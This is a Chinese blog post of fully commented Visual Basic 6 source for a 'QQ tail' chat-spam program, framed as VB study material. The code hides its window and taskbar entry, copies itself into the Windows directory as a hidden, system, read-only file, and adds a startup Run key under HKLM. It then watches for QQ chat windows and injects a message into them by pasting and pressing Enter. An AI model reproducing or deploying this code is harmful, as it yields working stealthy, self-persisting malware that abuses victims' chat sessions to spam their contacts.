VB原代码之QQ尾巴（全注释）

仅供研究VB之用，嘎嘎。。。。。

Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Const GW_OWNER = 4
Private Const SW_HIDE = 0
Private Const REG_SZ = 1
Private Const HKEY_LOCAL_MACHINE = &H80000002

Private Sub Form_Load()
If App.PrevInstance = True Then '检查程序是否正在运行
         Unload Me         '退出
Else                       '没有运行就开始工作
Timer1.Enabled = True                '记时器开动
Timer1.Interval = 2000                  '记时器时间间隔为2秒
Dim MyWindow As Long                    '存放自己窗口的句柄
MyWindow = GetWindow(Me.hwnd, GW_OWNER)         '用Getwindow函数获取自己的句柄
ShowWindow MyWindow, SW_HIDE            '用获取来的句柄隐藏自己的窗口
Me.Visible = False                        '把在任务栏显示设置为否
Dim windowsdir As String                    '存放用GetWindowsdirectory查来的WINDOWS目录
windowsdir = Space(255)                       '为API预热,做字符填充工作
GetWindowsDirectory windowsdir, 255              '获取WINDOWS目录
windowsdir = Mid$(windowsdir, 1, InStr(windowsdir, Chr(0)) - 1)        '因为获取来的WINDOWS目录带有太多的多余字符,_
'就是刚才先填充的空格,所有我们要把字符串结束符号\0还有\0之后的字符去掉,所有我们用CHR(0)来搜索/0,_
'然后获取/0之前的所有字符
Dim run As String        '存放RUN键的地址
Dim filedir As String       '存放文件路径
Dim handle As Long       '存放注册表操作句柄
run = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
filedir = windowsdir & "\greysign.exe"
RegCreateKey HKEY_LOCAL_MACHINE, run, handle           '建立一个RUN键
RegSetValueEx handle, "greysign", 0, REG_SZ, ByVal filedir, Len(filedir)       '建立一个叫greysign的键,值为文件路径
RegCloseKey handle        '关闭操作
If Dir(filedir, vbSystem + vbHidden) = "" Then       '判断文件是否存在,假如文件存在还进行复制操作会报错,加上检查系统属性和隐藏属性
Dim CopyDir As String             '存放当前程序的路径
CopyDir = App.Path & "\" & App.EXEName & ".exe"
FileCopy CopyDir, filedir         '复制当前程序直文件路径
SetAttr filedir, vbHidden + vbSystem + vbReadOnly        '设置文件属性为系统,隐藏,只读属性
End If
End If
End Sub

Private Sub Timer1_Timer()
Static i As Integer '存放一个用于计算次数的变量
Dim h As Long        '存放当前激活的前台窗口句柄
Dim caption As String        '存放标题
i = i + 1       '累加
h = GetForegroundWindow()        '用这个函数获取当前激活的前台窗口句柄
caption = Space(256)        '为API先填充字符分配内存,不然会报错
GetWindowText h, caption, 255        '获取窗口标题
Debug.Print i       '测试用的代码也
If Left(caption, 1) = "与" Or InStr(1, caption, "－ 群")     Then       '判断是否为QQ聊天窗口
If i Mod 2 = 0 Then          '判断次数,每4秒,也就是每2次发送就清除剪切版
Clipboard.Clear
Else
Call send        '调用发送过程
End If
End If
End Sub
Sub send()
If 1 <> 2 Then        '我只想知道1是不是等于2
Clipboard.Clear         '先清空剪切版
Clipboard.SetText "啊，这是只一次API练习测试！虽然也叫QQ尾巴……"         '神啊,原谅我的无知
SendKeys ("^V")            '来个复制CTRL+V,为什么不直接发送字符呢,因为可能被输入法影响.
SendKeys ("{enter}")          '因为某些X人会把设置修改为ENTER发送
SendKeys ("^{enter}")       '啊,给我发送吧

End If
End Sub